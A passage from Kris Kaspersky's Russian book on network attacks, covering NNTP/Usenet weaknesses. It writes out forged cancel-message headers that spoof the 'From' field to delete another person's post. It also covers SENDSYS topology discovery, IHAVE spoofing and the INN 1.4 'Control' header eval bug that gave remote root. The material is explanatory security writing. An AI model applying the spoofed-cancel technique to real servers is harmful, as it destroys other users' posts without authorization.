Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК
Чтобы иметь возможность убедиться в успешности выполнения операции, необходимо воспользоваться командой GROUP, запомнив число сообщений в группе до попытки удаления корреспонденции.
· group medlux.doc.rus
· 211 3 3030 3032 medlux.doc.rus
· Newsgroups:medlux.doc.rus
· From:« [email protected]»
· Approved:« [email protected]»
· Subject:cmsg cancel « [email protected]»
Аналогичным образом можно воспользоваться служебным полем “Control”, тогда заголовок будет выглядеть так:
· Newsgroups:medlux.doc.rus
· From:« [email protected]»
· Approved:« [email protected]»
· Control: cancel « [email protected]»
· Subject: Hello, Server!
Поле “Subject” должно присутствовать и в том и другом случае, иначе сервер не отправит сообщение.
Если удаление прошло успешно, результат работы команды “GROUP” должен выглядеть приблизительно так:
· group medlux.doc.rus
· 211 2 3030 3031 medlux.doc.rus
Количество сообщений уменьшилось на единицу! Следовательно, одно из них было только что удалено. Впрочем, на локальных дисках подписчиков не произошло никаких изменений [247], точно как и на всех серверах, уже успевших получить это сообщение.
Врезка «замечание»
Пользоваться управляющими сообщениями следует крайне осторожно. При возникновении ошибок обработки, сообщение об ошибке возвращается не отправителю, а администратору системы, последующие действия которого предугадать нетрудно.
Впрочем, экая невидаль удалить собственное послание! Вот если бы было можно то же проделывать и с чужой корреспонденцией. Но почему бы нет? Достаточно подставить фиктивный адрес в поле “From” в заголовке сообщения.
Эксперимент, приведенный ниже, демонстрирует удаление чужого сообщения с сервера:
· From: Nadezda Alexsandrovna [248] « [email protected]»
· Newsgroups: medlux.trade.optika
· Subject: I am looking for a permanent wholesale buyer of women's hair 30-60 cm long of all colours. Phone in Kharkov (0572)329639, 364556, fax 329763. [249]
· Date: Thu, 6 Apr 2000 05:01:15 +0300
· Organization: AOZT'Sharm'
· Lines: 16
· Distribution: world
· Message-ID: « [email protected]»
· Reply-To: [email protected]
· NNTP-Posting-Host: ums.online.kharkov.com
· Mime-Version: 1.0
· Content-Type: text/plain; charset=koi8-r
· Content-Transfer-Encoding: 8bit
· X-Trace: uanet.vostok.net 954986531 12181 194.44.206.227 (6 Apr 2000 02:02:11 GMT)
· X-Complaints-To: [email protected]
· NNTP-Posting-Date: 6 Apr 2000 02:02:11 GMT
· Summary: Please call us or write in Russian or English.
· Keywords: hair
· X-Mailer: Mozilla 4.61 [en] (Win95; I)
· Xref: news.medlux.ru medlux.trade.optika:904
В заголовке сообщения присутствуют два поля “From” и “Reply-To”. В зависимости от настроек сервера он может проверять либо только первое из них, либо и то, и другое сразу.
Врезка «информация»
Стандарт предписывает сличать поля “From” и “Sender” (если есть) и ничего не говорит обо всех остальных. Поэтому различные разработчики могут реализовывать это по-разному.
Например, можно отправить сообщение следующего содержания, в котором присутствует лишь поле “From”.
· From: Nadezda Alexsandrovna « [email protected]»
· Newsgroup: medlux.trade.optika
· Approved: Nadezda Alexsandrovna « [email protected]»
· Subject: cancel « [email protected]»
Таким же точно образом можно удалить содержимое всех конференций, достаточно воспользоваться несложным скриптом, по понятным причинам не прилагаемым к этой книге.
Врезка «замечание»
К сожалению, это действительно очень простой скрипт, который в состоянии написать даже начинающий программист. Хотелось бы, что бы владельцы NNTP-серверов серьезнее относились к вопросам безопасности и защиты информации.
Гораздо надежнее защита от несанкционированного создания и удаления конференций. Когда-то, давным-давно, на заре существования Internet, любой пользователь мог создать собственную группу, или удалить чужую [250].
Для создания новой конференции было достаточно воспользоваться управляющей командой «newgroup ИмяГруппы», отослав ее на «all.all.ctl». Сегодня ситуация несколько изменилась. Только редкий сервер разрешит рядовому пользователю подобные операции, и, кроме того, куда отправлять сообщение? Единого мнения на этот счет никого нет. Например, на nntp://mailserver.corvis.ru существуют специальные группы, находящиеся в самом начале списка, выдаваемого командой LIST.
· list
· 215 list of newsgroups follow
· control.cancel 7463 7423 y
· control.newgroup 1 2 y
· control.rmgroup 0 1 y
·…
Но не стоит обольщаться, обнаружив флаг “y”, разрешающий постинг. При попытке отправить управляющее сообщение, сервер потребует авторизации, попросив ввести имя и пароль администратора. Бессмысленно пытаться выяснить их перебором. При первой же ошибке владелец сервера получит уведомление об атаке.
Все, сказанное выше, справедливо и для удаления групп, которое теоретически осуществляется командой “rmgroup ИмяГрупы”, а практически автору не удалось найти ни одного сервера, допускающего ее выполнение неавторизованным пользователем.
Но существуют и непривилегированные команды, доступные всем пользователям. Несмотря на «несолидное» название, среди них порой попадаются на удивление любопытные экземпляры. Например, команда “SENDSYS”, выдает список всех «соседей» сервера, вместе со схемой пересылки конференций. Эта информация дает возможность минимальными усилиями построить топологию сети Usenet, и позволяет сосредоточить поиск бесплатных серверов лишь в перспективных направлениях (т.е. тестировать крупнейшие узлы, с множеством нисходящих подписчиков).
Врезка «замечание»
Может вызвать удивление, что команда “SENDSYS” относиться к числу непривилегированных, но такой уж устав Usenet. В первом абзаце тринадцатой страницы RFC-1036 содержатся следующие строки «This information is considered public information, and it is a requirement of membership in USENET that this information be provided on request…»
Впрочем, RFC - не уголовный кодекс и придерживаться его никто не обязан, как часто и встречается на практике.
Другой командой, способной обойти запрет на отправку сообщений, считается “IHAVE” (с одноименным управляющим сообщением “ihave”). Обычно она используется для синхронизации сообщений, - с ее помощью один узел сообщает другому идентификаторы имеющихся у сообщений и в случае отсутствия идентичной корреспонденции сервер выражает готовность принять недостающее сообщение у соседа.
Этот обмен является частью протокола «IHAVE-SENDME» и разрабатывался исключительно для взаимодействия узлов, но не пользователей. Теоретически ничто не мешает злоумышленнику прикинуться сервером и сообщить о наличие у него нового сообщения. Таким образом, можно было бы получить доступ даже к тем группам, постинг в которые при нормальном ходе вещей считается невозможным.
Практически же, подобная атака неосуществима. Примеры реакций некоторых серверов на команду «IHAVE» приведены ниже:
· 200 news.medlux.ru InterNetNews NNRP server INN 1.5.1 17-Dec-1996 ready (posting ok).
· IHAVE « [email protected]»
· 480 Transfer permission denied
· 201 nn02.news.ocn.ad.jp InterNetNews NNRP server INN 2.2 21-Jan-1999 ready (no posting).
· IHAVE « [email protected]»
· 480 Authentication required for command
· 200 NNTP Service Microsoft® Internet Services 5.5 Version: 5.5.1877.19 Posting Allowed
· IHAVE « [email protected]»
· 502 Access Denied.
Оказывается, вопреки ранее установленным стандартам, протокол «IHAVE-SENDME» успел обзавестись средствами авторизации и фильтрами IP-адресов отправителей. Ныне отправлять сообщения на сервер могут лишь те узлы, адреса которых «знакомы» получателю.
Впрочем, отсюда еще не вытекает невозможность успешной атаки. (Например, возможна фальсификация IP-адресов отправителя). Но NNTP-протокол разрабатывался в первую очередь вовсе не из соображений безопасности, поэтому мелкие недоработки достаточно безобидны и вполне простительны. Напротив, программные реализации могут содержать ошибки, позволяющие захватить контроль над удаленной системой.
Воистину легендарной стала ошибка, обнаруженная в INN 1.4-INN 1.5, обнаруженная 7 июля 1995 года. Она упоминается буквально во всех источниках, так или иначе связанных с безопасностью.
Врезка «информация»
Сервер INN 1.4 содержал серьезную ошибку, позволяющую выполнить любую команду на удаленной машине. Для этого ее достаточно было поместить в заголовок управляющего сообщения. Дыра появлялась вне зависимости от того, были ли разрешены управляющие сообщения или нет. Причина заключалась в том, что сервер обрабатывал содержимое поля “Control” с помощью команды “eval” оболочки «sh», таким образом, злоумышленник получал возможность запустить любой процесс через Exec, под привилегиями root.
Удивительно, но ошибка сохранилась и в следующей, версии программы, хотя к тому времени уже стала широко известна. Позже обнаружились и другие ляпы, о которых можно узнать подробнее на www.securityfocus.com
Ничем не лучше оказался «Microsoft Exchange Server», уязвимый против атак «отказ в обслуживании». К чести Microsoft она всегда оперативно выкладывает «заплатки», в которых, впрочем, устраняя одни ошибки, нередко вносит новые.
